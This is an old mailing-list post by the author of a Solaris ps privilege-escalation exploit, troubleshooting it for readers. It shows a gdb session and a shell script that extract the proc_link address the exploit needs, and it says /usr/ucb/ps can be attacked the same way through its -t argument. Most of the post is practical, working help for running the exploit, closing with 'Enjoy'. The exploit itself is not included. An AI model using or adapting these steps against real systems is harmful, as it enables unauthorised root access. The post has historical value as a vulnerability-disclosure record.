A number of you have written saying that the exploit doesn't work.
The biggest problem is that the exploit relies on a very specific
address (which I put in the proc_link variable) in order to work.
(Incidentally, as some have noted, there was a stray '*' in one of
the versions I sent out which causes some warnings to be generated.
Change "u_long *proc_link=..." to "u_long proc_link=..." if this
bothers you. The warnings are benign in this case.)
The following shortcut seems to work for finding the value for
the bothersome proc_link variable. You don't need to be a gdb whiz
to do this:
$ gdb ./ps
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (sparc-sun-solaris2.4),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break exit
Breakpoint 1 at 0x25244
(gdb) run
Starting program: /home3/student/im14u2c/c/./ps
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef7545c0
(no debugging symbols found)... PID TTY TIME CMD
9840 pts/27 0:01 ps
19499 pts/27 0:10 bash
9830 pts/27 0:02 gdb
Breakpoint 1, 0xef7545c0 in exit ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>: call 0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>: nop
0xef7545c8 <exit+8>: mov 1, %g1
0xef7545cc <exit+12>: ta 8
End of assembler dump.
(gdb)
The magic number is in the "call" above: 0xef771408.
For the extremely lazy, the following shell script worked for me to
extract this value from the noise. Your Mileage May Vary.
--- extract_proc_link.sh
#!/bin/sh
cp /usr/bin/ps ./ps
FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
break exit
run
disassemble exit
quit
y
E_O_F
`"
rm -f ./ps
set $FOO foo
[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;
echo " u_long proc_link=$2;"
--- EOF
Note, this sets the proc_link variable to the routine "exit" calls, so
you will probably get garbage on your screen when the exploit runs.
Solution: To it from an xterm or something which lets you do a "reset"
to nullify the action of the control characters in the exploit.
Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
hole, except the vulnerability is on the -t argument, and the string
grokked by gettext is different, so the "ps_expl.po" file needs to be
changed slightly. Fortunately, "environ" and "proc_link" are pretty
much the same. (Use the "extract" script above on /usr/ucb/ps, etc.)
The remainder this is left as an exercise for the reader.
Enjoy,
--Joe
-- +--------------Joseph Zbiciak--------------+ |- - - - jzbiciak@daldd.sc.ti.com - - - - -| | - - http://ee1.bradley.edu/~im14u2c/ - - | Not your average "Joe." |- - - - Texas Instruments, Dallas - - - -| +-------#include <std_disclaimer.h>--------+